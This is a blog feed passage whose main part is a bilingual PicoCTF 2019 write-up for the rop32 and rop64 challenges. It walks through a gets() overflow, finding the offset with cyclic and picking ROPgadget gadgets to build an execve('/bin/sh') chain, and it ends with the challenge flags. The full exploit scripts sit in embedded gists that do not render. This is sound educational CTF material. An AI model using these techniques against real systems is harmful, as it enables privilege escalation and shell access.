<p>Escribí en ese momento "fue compilada en 1986" porque la nota de copyright en el juego también dice 1986, pero Quick Basic 4.0 fue relizeada en 1987! <a href="#fnref:3" class="reversefootnote" role="doc-backlink">↩</a> <a href="#fnref:3:1" class="reversefootnote" role="doc-backlink">↩<sup>2</sup></a></p>
</li>
<li id="fn:1">
<p>Sin embargo, esto lo escribí alrededor de cuatro años antes de la publicación de este artículo y si hubiera continuado un poco más en el esfuerzo del <code class="language-plaintext highlighter-rouge">reversing</code>, hubiera evitado todo el laburo de hacer un desensamblador para QB4. Estaba mucho más cerca de lo que creía en aquel momento. <a href="#fnref:1" class="reversefootnote" role="doc-backlink">↩</a> <a href="#fnref:1:1" class="reversefootnote" role="doc-backlink">↩<sup>2</sup></a></p>
</li>
<li id="fn:2">
<p>No me fue trivial darme cuenta que era este formato, el estándar del punto flotante IEEE754 el que estaba mirando bajo la lupa. En una publicación en un blog muy anterior a este que ya no existe más, estuve reverseando otro formato que era el MBF (Microsoft Binary Format) y asumiendo que Microsoft iba a usar el mismo formato que usó en otros programas, no se me había ocurrido tan fácilmente que quizas iban a usar el estándar IEEE. <a href="#fnref:2" class="reversefootnote" role="doc-backlink">↩</a></p>
</li>
<li id="fn:4">
<p>La <strong>entropía</strong> es el logaritmo en base 2 de la cantidad de posibilidades igualmente probables (cada bit divide los candidatos a la mitad). Como también se puede ver en <a href="https://xkcd.com/936/">xkcd nro 936</a> los bits de entropía se suman solamente cuando las elecciones son independientes. <a href="#fnref:4" class="reversefootnote" role="doc-backlink">↩</a></p>
</li>
</ol>
</div>
PicoCTF 2019 - rop32 and rop64 (español)2019-10-14T10:52:01+00:00http://example.com/rop32-rop64-picoctf2019-es<p>This article is also available in <a href="/rop32-rop64-picoctf2019-en">English</a>.</p>
<h1 id="solución-para-rop32">Solución para rop32</h1>
<p>El binario original lo podés descargar <a href="https://2019shell1.picoctf.com/static/c0091019426d9188e6791d4920a20ee2/vuln">acá</a>.
Este challenge consistía en un <code class="language-plaintext highlighter-rouge">ejecutable</code> de linux y el siguiente código fuente en la competencia <a href="https://www.picoctf.com">PicoCTF</a>:</p>
<figure class="highlight"><pre><code class="language-c" data-lang="c"><span class="cp">#include</span> <span class="cpf"><stdio.h></span><span class="cp">
#include</span> <span class="cpf"><stdlib.h></span><span class="cp">
#include</span> <span class="cpf"><string.h></span><span class="cp">
#include</span> <span class="cpf"><unistd.h></span><span class="cp">
#include</span> <span class="cpf"><sys/types.h></span><span class="cp">
</span>
<span class="cp">#define BUFSIZE 16
</span>
<span class="kt">void</span> <span class="nf">vuln</span><span class="p">()</span> <span class="p">{</span>
<span class="kt">char</span> <span class="n">buf</span><span class="p">[</span><span class="mi">16</span><span class="p">];</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"Can you ROP your way out of this one?</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
<span class="k">return</span> <span class="n">gets</span><span class="p">(</span><span class="n">buf</span><span class="p">);</span>
<span class="p">}</span>
<span class="kt">int</span> <span class="nf">main</span><span class="p">(</span><span class="kt">int</span> <span class="n">argc</span><span class="p">,</span> <span class="kt">char</span> <span class="o">**</span><span class="n">argv</span><span class="p">){</span>
<span class="n">setvbuf</span><span class="p">(</span><span class="n">stdout</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="n">_IONBF</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
<span class="c1">// Set the gid to the effective gid</span>
<span class="c1">// this prevents /bin/sh from dropping the privileges</span>
<span class="n">gid_t</span> <span class="n">gid</span> <span class="o">=</span> <span class="n">getegid</span><span class="p">();</span>
<span class="n">setresgid</span><span class="p">(</span><span class="n">gid</span><span class="p">,</span> <span class="n">gid</span><span class="p">,</span> <span class="n">gid</span><span class="p">);</span>
<span class="n">vuln</span><span class="p">();</span>
<span class="p">}</span></code></pre></figure>
<p>La vulnerabilidad claramente se encuentra en la function <code class="language-plaintext highlighter-rouge">gets()</code> que es particularmente vulnerable a <code class="language-plaintext highlighter-rouge">buffer overflows</code>.</p>
<p>Aquí debajo podemos ver que el stack no es ejecutable y que el <code class="language-plaintext highlighter-rouge">NX bit</code> esta activado:</p>
<figure class="highlight"><pre><code class="language-bash" data-lang="bash"><span class="nv">$ </span><span class="nb">cat</span> /proc/14210/maps
08048000-080d7000 r-xp 00000000 08:01 4591593 /home/0x705h/infosec/ctf/picoctf2019/rop32/vuln
080d8000-080dc000 rw-p 0008f000 08:01 4591593 /home/0x705h/infosec/ctf/picoctf2019/rop32/vuln
080dc000-080dd000 rw-p 00000000 00:00 0
08b94000-08bb6000 rw-p 00000000 00:00 0 <span class="o">[</span>heap]
f7fcc000-f7fcf000 r--p 00000000 00:00 0 <span class="o">[</span>vvar]
f7fcf000-f7fd1000 r-xp 00000000 00:00 0 <span class="o">[</span>vdso]
fff1b000-fff3c000 rw-p 00000000 00:00 0 <span class="o">[</span>stack]
<span class="nv">$ </span>checksec vuln
<span class="o">[</span><span class="k">*</span><span class="o">]</span> <span class="s1">'/home/0x705h/infosec/ctf/picoctf2019/rop32/vuln'</span>
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled <<span class="nt">----</span> <span class="o">(!)</span>
PIE: No PIE <span class="o">(</span>0x8048000<span class="o">)</span></code></pre></figure>
<p>Como podemos ver, el <code class="language-plaintext highlighter-rouge">NX bit</code> esta activado, por lo que no podemos ejecutar código en el stack. Por lo tanto usar <a href="https://en.wikipedia.org/wiki/Return-oriented_programming">ROP</a> para ejecutar código es una forma de atacar esta medida de seguridad del binario. Eventualmente vamos a tratar de obtener una shell usando solamente <code class="language-plaintext highlighter-rouge">rop gadgets</code>.</p>
<p>El siguiente paso es encontrar en que <code class="language-plaintext highlighter-rouge">offset</code> de la variable local <code class="language-plaintext highlighter-rouge">buf</code> de 16 bytes de la función <code class="language-plaintext highlighter-rouge">vuln()</code> pisamos el registro <code class="language-plaintext highlighter-rouge">eip</code>. Para ahorrar tiempo usamos <code class="language-plaintext highlighter-rouge">cyclic</code> que es un generador de secuencias únicas de strings que es un wrapper de la funcion <a href="https://en.wikipedia.org/wiki/De_Bruijn_sequence">De Bruijn</a>.</p>
<figure class="highlight"><pre><code class="language-bash" data-lang="bash"><span class="nv">$ </span>cyclic 32
aaaabaaacaaadaaaeaaafaaagaaahaaa
<span class="nv">$ </span>./vuln
Can you ROP your way out of this one?
aaaabaaacaaadaaaeaaafaaagaaahaaa
<span class="o">[</span>1] 9664 segmentation fault ./vuln
<span class="nv">$ </span>dmesg |tail <span class="nt">-n</span> 3
<span class="o">[</span>917749.538197] e1000 0000:00:03.0 enp0s3: Reset adapter
<span class="o">[</span>917751.658430] e1000: enp0s3 NIC Link is Up 1000 Mbps Full Duplex, Flow Control: RX
<span class="o">[</span>920436.368947] vuln[9664]: segfault at 61616168 ip 0000000061616168 sp 00000000ffba36f0 error 14
<span class="nv">$ </span>python2 <span class="nt">-c</span> <span class="s1">'print chr(0x68) + chr(0x61)*3'</span> <span class="c"># little endian</span>
haaa
<span class="nv">$ </span>cyclic <span class="nt">--offset</span> haaa
28</code></pre></figure>
<p>Paso a paso, lo que hacemos es pedirle a <code class="language-plaintext highlighter-rouge">cyclic</code> que nos dé un string de 32 caracteres. No hay ninguna razon en particular por la cual escogí un string de 32 bytes, es una longitud arbitraria pero suficientemente grande como para pisar <code class="language-plaintext highlighter-rouge">eip</code>. Lo copiamos y lo pasamos como input al programa <code class="language-plaintext highlighter-rouge">vuln()</code>. El buffer local <code class="language-plaintext highlighter-rouge">buf</code> de 16 caracteres se overflowea cuando escribimos más de que la memoria asignada para ese buffer a traves de la función <code class="language-plaintext highlighter-rouge">gets()</code> y pisamos varias variables del <code class="language-plaintext highlighter-rouge">stack</code>, llegando a pisar <code class="language-plaintext highlighter-rouge">eip</code> que es el <code class="language-plaintext highlighter-rouge">Instruction Pointer</code> o <code class="language-plaintext highlighter-rouge">Program Counter</code> en otras arquitecturas como ARM.
El valor en <code class="language-plaintext highlighter-rouge">eip</code> es <code class="language-plaintext highlighter-rouge">0x61616168</code> que pasándolo a string nos devuelve <code class="language-plaintext highlighter-rouge">haaa</code> y al buscarlo de nuevo con <code class="language-plaintext highlighter-rouge">cyclic</code> nos devuelve el offset <code class="language-plaintext highlighter-rouge">28</code>. Abajo grafico porque el valor es este:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>x86 - punteros de 4 bytes
ESP +---------> +-------------------+
| var. locales/etc | 20 bytes (offset 0) +
EBP +---------> +-------------------+ |
| EBP | 4 bytes (offset 24) |
+-------------------+ | Nuestro cyclic
| EIP / RET | 4 bytes (offset 28) |
+-------------------+ |
| Argumentos | 4 bytes (offset 32) +
+-------------------+
</code></pre></div></div>
<p>Entonces el estado del stack antes del la instrucción <code class="language-plaintext highlighter-rouge">leave</code> en <code class="language-plaintext highlighter-rouge">vuln()</code> se encuentra de esta manera:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>pwndbg> x/12x $esp
0xffffcce0: 0x61616161 0x61616162 0x61616163 0x61616164
0xffffccf0: 0x61616165 0x61616166 0x61616167 0x61616168
0xffffcd00: 0x00000000 0x0804f02b 0x080da000 0x000003e8
</code></pre></div></div>
<p>Y luego, antes de ejecutar el <code class="language-plaintext highlighter-rouge">ret</code> el estado del stack cambia a esta otra:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>pwndbg> x/12x $esp
0xffffccfc: 0x61616168 0x00000000 0x0804f02b 0x080da000
0xffffcd0c: 0x000003e8 0xffffcd30 0x080da000 0x00000000
0xffffcd1c: 0x08048f6f 0x0806f0af 0x080da000 0x080da000
</code></pre></div></div>
<p>Teniendo toda esta información, empezamos a escribir nuestro exploit. En <a href="https://en.wikipedia.org/wiki/Return-oriented_programming">ROP</a> la idea es que en vez de escribir código en el buffer, lo que hacemos es manipular el <code class="language-plaintext highlighter-rouge">stack frame</code> de manera tal que inyectamos direcciones de memoria <em>válidas</em> contenidas en el mismo binario que estamos ejecutando. Además, dependiendo de donde uno esté interpretando el binario y en que offset, tambien podemos “reinterpretar” el binario mirando las cadendas de bytes y chequear si son instrucciónes válidas de la arquitectura Intel. Para ver esto, usamos el programa <a href="https://github.com/JonathanSalwan/ROPgadget">ROPGadget</a> que nos devuelve una lista de reinterpretaciones del binario con la particularidad que terminen en una instrucción <code class="language-plaintext highlighter-rouge">ret</code>, <code class="language-plaintext highlighter-rouge">call</code>, <code class="language-plaintext highlighter-rouge">int 0x80</code> o <code class="language-plaintext highlighter-rouge">syscall</code>.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ ROPgadget --depth=3 --binary ./vuln |grep 'pop .* ; ret'
[...]
0x080a8e36 : pop eax ; ret
0x0805c524 : pop eax ; ret 0xfffe
0x080c249f : pop eax ; retf
0x080c0c44 : pop ebp ; daa ; retf 0xd1cb
0x0804834c : pop ebp ; ret
0x0805bf9f : pop ebp ; ret 0xffff
0x0805d8b2 : pop ebp ; ret 4
0x080a1dcb : pop ebp ; ret 8
[...]
</code></pre></div></div>
<p>Por ejemplo, varios <code class="language-plaintext highlighter-rouge">gadget</code> de este binario nos permitiría como se ve en este ejemplo, manipular los registros del procesador insertándole valores si acomodamos el <code class="language-plaintext highlighter-rouge">stack</code> de una manera piola. <code class="language-plaintext highlighter-rouge">pop eax; ret</code> nos permitiría guardar el valor <code class="language-plaintext highlighter-rouge">0x41414141</code> que se encuentre inmediatamente después en el stack <code class="language-plaintext highlighter-rouge">0x080a8e36</code> en <code class="language-plaintext highlighter-rouge">eax</code>:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code> S T A C K
+----------------------+
| 0x080a8e36 | <-------+ pop eax ; ret
+----------------------+
| 0x41414114 | <-------+ eax <- 0x41414141
+----------------------+
| Siguiente RET |
+----------------------+
</code></pre></div></div>
<h2 id="exploit">Exploit</h2>
<p>El objetivo es ejecutar la syscall de linux <code class="language-plaintext highlighter-rouge">execve</code> usando solamente una <code class="language-plaintext highlighter-rouge">rop chain</code> empezando por nuestro registro <code class="language-plaintext highlighter-rouge">eip</code> que ya controlamos para obtener una shell en el servidor ejecutando el comando <code class="language-plaintext highlighter-rouge">/bin/sh</code>.
El binario en el servidor que queremos explotar tiene el flag <code class="language-plaintext highlighter-rouge">SUID</code> activado con permisos de lectura para <code class="language-plaintext highlighter-rouge">flag.txt</code> que es el recurso que queremos leer. El exploit ejecuta <code class="language-plaintext highlighter-rouge">/bin//sh</code> y luego de la explotación, podemos ejecutar comandos en el server.</p>
<p>Mientras escribía el exploit, me encontré con el problema que el <code class="language-plaintext highlighter-rouge">string</code> que generaba para pasar como input al programa vulnerable estaba “cortado a la mitad”. La razón fue por el siguiente gadget:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>0x080a8e36 : pop eax ; ret
</code></pre></div></div>
<p>El problema con la dirección de memoria <code class="language-plaintext highlighter-rouge">0x080a8e36</code> es que el byte <code class="language-plaintext highlighter-rouge">0x0a</code> esta presente en la dirección y en el contexto de pasar como input esta direccion es que la consola interpreta <code class="language-plaintext highlighter-rouge">0x0a</code> como un <code class="language-plaintext highlighter-rouge">newline character</code> ejecutando el input a la mitad.</p>
<p>Esta es la razón por la cual, en vez de usar <code class="language-plaintext highlighter-rouge">pop eax; ret</code> elegí el siguiente <code class="language-plaintext highlighter-rouge">gadget</code> para evitar este problema:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>#0x080a8e36 : pop eax ; ret # bytes "malos" en la dirección de memoria
#0x08056334 : pop eax ; pop edx ; pop ebx ; ret # y este gadget no contiene 0x0a
pop_eax = p32(0x080a8e36)
*pop_eax_3 = p32(0x08056334) # watch out, this destroys edx and ebx*
</code></pre></div></div>
<p>Entonces, tengo que tener especial cuidado cuando cargo valores en el registro <code class="language-plaintext highlighter-rouge">eax</code> con mi gadget <code class="language-plaintext highlighter-rouge">pop_eax_3</code> ( lo llamé asi para recordarme que hay <code class="language-plaintext highlighter-rouge">3</code> registros que se van a modificar en este gadget ) porque también carga valores a los registros <code class="language-plaintext highlighter-rouge">edx</code> y <code class="language-plaintext highlighter-rouge">ebx</code>, destruyendo el estado de los valores que tuviera cargados anteriormente.</p>
<p>Este es nuestro exploit final:</p>
<noscript><pre>404: Not Found</pre></noscript>
<script src="https://gist.github.com/91ae7933be399f105c2d3459b3484010.js"> </script>
<p>Y este es el flag:
<code class="language-plaintext highlighter-rouge">picoCTF{rOp_t0_b1n_sH_cb4c373e}</code></p>
<h1 id="solución-para-rop64">Solución para rop64</h1>
<p>Son casi los mismos pasos y técnicas descriptas para <code class="language-plaintext highlighter-rouge">rop32</code> pero
teniendo en cuenta lo siguiente:</p>
<ul>
<li>Los parámetros de la syscall <code class="language-plaintext highlighter-rouge">execve</code> se pasan por registros y no por stack</li>
<li>Tenemos espacio para escribir el string <code class="language-plaintext highlighter-rouge">/bin/sh\x00</code> en un registro en un solo paso. Esto hace que el <code class="language-plaintext highlighter-rouge">ropchain</code> sea un poco más sencillo</li>
<li>En 64 bits no debemos llamar a <code class="language-plaintext highlighter-rouge">int 0x80</code> sino a la instrucción <code class="language-plaintext highlighter-rouge">syscall</code></li>
</ul>
<p>Este es el exploit:</p>
<noscript><pre>404: Not Found</pre></noscript>
<script src="https://gist.github.com/96608e53956982a8b29d152c35a3f554.js"> </script>
<p>Y el flag <code class="language-plaintext highlighter-rouge">picoCTF{rOp_t0_b1n_sH_w1tH_n3w_g4dg3t5_11cdd436}</code></p>
PicoCTF 2019 - rop32 and rop642019-10-14T10:52:01+00:00http://example.com/rop32-rop64-picoctf2019-en<h1 id="solving-rop32-challenge">Solving rop32 challenge</h1>
<p>You can download the original file <a href="https://2019shell1.picoctf.com/static/c0091019426d9188e6791d4920a20ee2/vuln">here</a>.
This challenge was a linux <code class="language-plaintext highlighter-rouge">executable</code> with the following source code in <a href="https://www.picoctf.com">PicoCTF</a>:</p>
<figure class="highlight"><pre><code class="language-c" data-lang="c"><span class="cp">#include</span> <span class="cpf"><stdio.h></span><span class="cp">
#include</span> <span class="cpf"><stdlib.h></span><span class="cp">
#include</span> <span class="cpf"><string.h></span><span class="cp">
#include</span> <span class="cpf"><unistd.h></span><span class="cp">
#include</span> <span class="cpf"><sys/types.h></span><span class="cp">
</span>
<span class="cp">#define BUFSIZE 16
</span>
<span class="kt">void</span> <span class="nf">vuln</span><span class="p">()</span> <span class="p">{</span>
<span class="kt">char</span> <span class="n">buf</span><span class="p">[</span><span class="mi">16</span><span class="p">];</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"Can you ROP your way out of this one?</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
<span class="k">return</span> <span class="n">gets</span><span class="p">(</span><span class="n">buf</span><span class="p">);</span>
<span class="p">}</span>
<span class="kt">int</span> <span class="nf">main</span><span class="p">(</span><span class="kt">int</span> <span class="n">argc</span><span class="p">,</span> <span class="kt">char</span> <span class="o">**</span><span class="n">argv</span><span class="p">){</span>
<span class="n">setvbuf</span><span class="p">(</span><span class="n">stdout</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="n">_IONBF</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
<span class="c1">// Set the gid to the effective gid</span>
<span class="c1">// this prevents /bin/sh from dropping the privileges</span>
<span class="n">gid_t</span> <span class="n">gid</span> <span class="o">=</span> <span class="n">getegid</span><span class="p">();</span>
<span class="n">setresgid</span><span class="p">(</span><span class="n">gid</span><span class="p">,</span> <span class="n">gid</span><span class="p">,</span> <span class="n">gid</span><span class="p">);</span>
<span class="n">vuln</span><span class="p">();</span>
<span class="p">}</span></code></pre></figure>
<p>The vulnerability resides in the use of <code class="language-plaintext highlighter-rouge">gets()</code> which is very well known for being suceptible of <code class="language-plaintext highlighter-rouge">buffer overflows</code>.</p>
<p>Below we can see that the stack is not executable and the <code class="language-plaintext highlighter-rouge">NX bit</code> is enabled:</p>
<figure class="highlight"><pre><code class="language-bash" data-lang="bash"><span class="nv">$ </span><span class="nb">cat</span> /proc/14210/maps
08048000-080d7000 r-xp 00000000 08:01 4591593 /home/0x705h/infosec/ctf/picoctf2019/rop32/vuln
080d8000-080dc000 rw-p 0008f000 08:01 4591593 /home/0x705h/infosec/ctf/picoctf2019/rop32/vuln
080dc000-080dd000 rw-p 00000000 00:00 0
08b94000-08bb6000 rw-p 00000000 00:00 0 <span class="o">[</span>heap]
f7fcc000-f7fcf000 r--p 00000000 00:00 0 <span class="o">[</span>vvar]
f7fcf000-f7fd1000 r-xp 00000000 00:00 0 <span class="o">[</span>vdso]
fff1b000-fff3c000 rw-p 00000000 00:00 0 <span class="o">[</span>stack]
<span class="nv">$ </span>checksec vuln
<span class="o">[</span><span class="k">*</span><span class="o">]</span> <span class="s1">'/home/0x705h/infosec/ctf/picoctf2019/rop32/vuln'</span>
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled <<span class="nt">----</span> <span class="o">(!)</span>
PIE: No PIE <span class="o">(</span>0x8048000<span class="o">)</span></code></pre></figure>
<p>As we can see, the <code class="language-plaintext highlighter-rouge">NX bit</code> is enabled, because of this we cannot execute code in the stack. Therefore using <a href="https://en.wikipedia.org/wiki/Return-oriented_programming">ROP</a> makes totally sense.
In the end, we will try to get our shell using only <code class="language-plaintext highlighter-rouge">rop gadgets</code>.</p>
<p>The next step is to find the 16 bytes <code class="language-plaintext highlighter-rouge">offset</code> of <code class="language-plaintext highlighter-rouge">buf</code> local variable in the <code class="language-plaintext highlighter-rouge">vuln()</code> function, and ultimately overwrite the return address at the current function’s <code class="language-plaintext highlighter-rouge">stack frame</code> and gain control over <code class="language-plaintext highlighter-rouge">eip</code>.
Using <code class="language-plaintext highlighter-rouge">cyclic</code> to gain time is useful. <code class="language-plaintext highlighter-rouge">cyclic</code> is a string sequence generator which is a <a href="https://en.wikipedia.org/wiki/De_Bruijn_sequence">De Bruijn</a> function wrapper.</p>
<figure class="highlight"><pre><code class="language-bash" data-lang="bash"><span class="nv">$ </span>cyclic 32
aaaabaaacaaadaaaeaaafaaagaaahaaa
<span class="nv">$ </span>./vuln
Can you ROP your way out of this one?
aaaabaaacaaadaaaeaaafaaagaaahaaa
<span class="o">[</span>1] 9664 segmentation fault ./vuln
<span class="nv">$ </span>dmesg |tail <span class="nt">-n</span> 3
<span class="o">[</span>917749.538197] e1000 0000:00:03.0 enp0s3: Reset adapter
<span class="o">[</span>917751.658430] e1000: enp0s3 NIC Link is Up 1000 Mbps Full Duplex, Flow Control: RX
<span class="o">[</span>920436.368947] vuln[9664]: segfault at 61616168 ip 0000000061616168 sp 00000000ffba36f0 error 14
<span class="nv">$ </span>python2 <span class="nt">-c</span> <span class="s1">'print chr(0x68) + chr(0x61)*3'</span> <span class="c"># little endian</span>
haaa
<span class="nv">$ </span>cyclic <span class="nt">--offset</span> haaa
28</code></pre></figure>
<p>Step by step, we ask to <code class="language-plaintext highlighter-rouge">cyclic</code> a string of 32 bytes. There is no particular reason that I choosed a 32 bytes string for <code class="language-plaintext highlighter-rouge">cyclic</code> but is big enough to overwrite <code class="language-plaintext highlighter-rouge">eip</code>. Copying the resulting string to the program input overflows the buffer overwriting the <code class="language-plaintext highlighter-rouge">Instruction Pointer</code>.
The overwritten <code class="language-plaintext highlighter-rouge">eip</code> renders the value <code class="language-plaintext highlighter-rouge">0x61616168</code>, converted to string is <code class="language-plaintext highlighter-rouge">haaa</code> and returning with the result to <code class="language-plaintext highlighter-rouge">cyclic</code> finally we obtain <code class="language-plaintext highlighter-rouge">28</code> as the offset.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>x86 - 4 bytes pointers
ESP +---------> +-------------------+
| local vars/etc | 20 bytes (offset 0) +
EBP +---------> +-------------------+ |
| EBP | 4 bytes (offset 24) |
+-------------------+ | cyclic string
| EIP / RET | 4 bytes (offset 28) |
+-------------------+ |
| arguments | 4 bytes (offset 32) +
+-------------------+
</code></pre></div></div>
<p>The state of the stack before the <code class="language-plaintext highlighter-rouge">leave</code> instruction in <code class="language-plaintext highlighter-rouge">vuln()</code> is the following:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>pwndbg> x/12x $esp
0xffffcce0: 0x61616161 0x61616162 0x61616163 0x61616164
0xffffccf0: 0x61616165 0x61616166 0x61616167 0x61616168
0xffffcd00: 0x00000000 0x0804f02b 0x080da000 0x000003e8
</code></pre></div></div>
<p>And in the <code class="language-plaintext highlighter-rouge">ret</code> instruction, the stack state changes to the following:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>pwndbg> x/12x $esp
0xffffccfc: 0x61616168 0x00000000 0x0804f02b 0x080da000
0xffffcd0c: 0x000003e8 0xffffcd30 0x080da000 0x00000000
0xffffcd1c: 0x08048f6f 0x0806f0af 0x080da000 0x080da000
</code></pre></div></div>
<p>After gathering all this information about the behaviour of the program, we start to write our exploit. In <a href="https://en.wikipedia.org/wiki/Return-oriented_programming">ROP</a> the idea is that instead of writing code in the buffer and jump to it, what we do is manipulate the <code class="language-plaintext highlighter-rouge">stack frame</code> in a way that we inject <em>valid</em> memory addresses that reside within the original binary. The program <a href="https://github.com/JonathanSalwan/ROPgadget">ROPGadget</a> reinterprets a binary mangling with the offsets in a way that it finds <code class="language-plaintext highlighter-rouge">gadgets</code> to use with the property of a chain of instructions that ends in <code class="language-plaintext highlighter-rouge">ret</code>, <code class="language-plaintext highlighter-rouge">call</code>, <code class="language-plaintext highlighter-rouge">int 0x80</code> or <code class="language-plaintext highlighter-rouge">syscall</code>.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ ROPgadget --depth=3 --binary ./vuln |grep 'pop .* ; ret'
[...]
0x080a8e36 : pop eax ; ret
0x0805c524 : pop eax ; ret 0xfffe
0x080c249f : pop eax ; retf
0x080c0c44 : pop ebp ; daa ; retf 0xd1cb
0x0804834c : pop ebp ; ret
0x0805bf9f : pop ebp ; ret 0xffff
0x0805d8b2 : pop ebp ; ret 4
0x080a1dcb : pop ebp ; ret 8
[...]
</code></pre></div></div>
<p>For instance, several <code class="language-plaintext highlighter-rouge">gadgets</code> in this binary allow us to manipulate the processor registers in a way that we can inject values to the registers mangling with the <code class="language-plaintext highlighter-rouge">stack</code> in a clever way. <code class="language-plaintext highlighter-rouge">pop eax; ret</code> allows us to inject the value <code class="language-plaintext highlighter-rouge">0x41414141</code> into <code class="language-plaintext highlighter-rouge">eax</code> using the gadget located at <code class="language-plaintext highlighter-rouge">0x080a8e36</code> in the binary:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code> S T A C K
+----------------------+
| 0x080a8e36 | <-------+ pop eax ; ret
+----------------------+
| 0x41414114 | <-------+ eax <- 0x41414141
+----------------------+
| Next RET |
+----------------------+
</code></pre></div></div>
<p>This way we can manipulate the execution flow of the program modifiying the <code class="language-plaintext highlighter-rouge">ret</code> addresses.</p>
<h2 id="exploit">Exploit</h2>
<p>The goal is to execute the <code class="language-plaintext highlighter-rouge">execve</code> linux syscall using only a <code class="language-plaintext highlighter-rouge">rop chain</code> starting by our controlled <code class="language-plaintext highlighter-rouge">eip</code> to gain a shell in the server by executing <code class="language-plaintext highlighter-rouge">/bin/sh</code>.
The binary in the server that we want to exploit has the <code class="language-plaintext highlighter-rouge">SUID</code> flag enabled and with reading permissions for <code class="language-plaintext highlighter-rouge">flag.txt</code> which is the resource that we want to read. The exploit executes <code class="language-plaintext highlighter-rouge">/bin//sh</code>, and after exploitation we can issue commands to the server.</p>
<p>While writing the exploit, I’ve encountered a problem that the final string to pass as input to the vulnerable program was “cut at half”. This was because of this gadget:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>0x080a8e36 : pop eax ; ret
</code></pre></div></div>
<p>The problem with the memory address <code class="language-plaintext highlighter-rouge">0x080a8e36</code> is that the byte <code class="language-plaintext highlighter-rouge">0x0a</code> is present in the address and in the context of passing the input by console, it is interpreted as the <code class="language-plaintext highlighter-rouge">newline character</code>, executing the input but in half.</p>
<p>That is the reason that instead of using <code class="language-plaintext highlighter-rouge">pop eax; ret</code> I choosed the following <code class="language-plaintext highlighter-rouge">gadget</code> to avoid this problem:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>#0x080a8e36 : pop eax ; ret # bad bytes in the address
#0x08056334 : pop eax ; pop edx ; pop ebx ; ret # this gadget address doesn't contains 0x0a
pop_eax = p32(0x080a8e36)
*pop_eax_3 = p32(0x08056334) # watch out, this destroys edx and ebx*
</code></pre></div></div>
<p>For this reason, I need to take special care when loading values to the <code class="language-plaintext highlighter-rouge">eax</code> register with <code class="language-plaintext highlighter-rouge">pop_eax_3</code> - I called it like that to remind me also that <code class="language-plaintext highlighter-rouge">3</code> registers are involved in this gadget - because it also loads values to <code class="language-plaintext highlighter-rouge">edx</code> and <code class="language-plaintext highlighter-rouge">ebx</code> destroying the state of my registers.</p>
<p>This is the final exploit:</p>
<noscript><pre>404: Not Found</pre></noscript>
<script src="https://gist.github.com/91ae7933be399f105c2d3459b3484010.js"> </script>
<p>Here is the flag:
<code class="language-plaintext highlighter-rouge">picoCTF{rOp_t0_b1n_sH_cb4c373e}</code></p>
<h1 id="solving-rop64-challenge">Solving rop64 challenge</h1>
<p>The steps to write the exploit of this challenge are nearly the same as the <code class="language-plaintext highlighter-rouge">rop32</code> one but:</p>
<ul>
<li>The <code class="language-plaintext highlighter-rouge">execve</code> syscall parameters are passed by registers and not by stack</li>
<li>We have enough space to write the string <code class="language-plaintext highlighter-rouge">/bin/sh\x00</code> in a register in one step, and thanks to that the <code class="language-plaintext highlighter-rouge">ropchain</code> is a little bit less complex</li>
<li>In 64 bits we should not call <code class="language-plaintext highlighter-rouge">int 0x80</code>, we should use <code class="language-plaintext highlighter-rouge">syscall</code> instruction instead</li>
</ul>
<p>This is the exploit:</p>
<noscript><pre>404: Not Found</pre></noscript>
<script src="https://gist.github.com/96608e53956982a8b29d152c35a3f554.js"> </script>
<p>And the flag <code class="language-plaintext highlighter-rouge">picoCTF{rOp_t0_b1n_sH_w1tH_n3w_g4dg3t5_11cdd436}</code></p>
HackTheBox: Jugar a trabajar2018-02-18T18:00:00+00:00http://example.com/HackTheBox-Jugar-A-Trabajar<p>Era la tercera vez que le insistía a un amigo, entre cervezas y discusiones irrelevantes sobre el futuro, que pruebe registrándose a <a href="https://www.hackthebox.eu/">HackTheBox</a>, una plataforma que me tuvo ocupado este feriado largo de carnaval entre mates, tortas fritas y galletitas con queso.</p>
<p><img src="/assets/images/hackthebox/hackthebox-1.png" alt="Hackers chateando con touch en una de las maquinas vulnerables de HTB" class="img-responsive" /></p>
<p>HackTheBox (HTB) es una plataforma online que permite evaluar tus propias habilidades como Pentester/Hacker. Antes de continuar con HTB necesito dar un poco de contexto sobre este mundo de competencias y medición de habilidades en la comunidad InfoSec/Hacker. En lo particular, HTB es un CTF (CaptureTheFlag) más realista, una competencia entre personas para descubrir vulnerabilidades en sistemas y explotarlos para ganar puntos. Generalmente los CTFs presentan un archivo binario, un enunciado, una imagen de disco, un dump de memoria, un mensaje criptográfico o una plataforma web con alguna vulnerabilidad muy especifica que debes explotar para obtener un hash MD5, SHA1 o un string en <a href="https://en.wikipedia.org/wiki/Leet">leet</a>. Obtener el flag otorga puntos. Mientras más puntos, más arriba en la tabla de jugadores. Los CTFs duran un par de días y los rankings quedan cristalizados al cierre.</p>
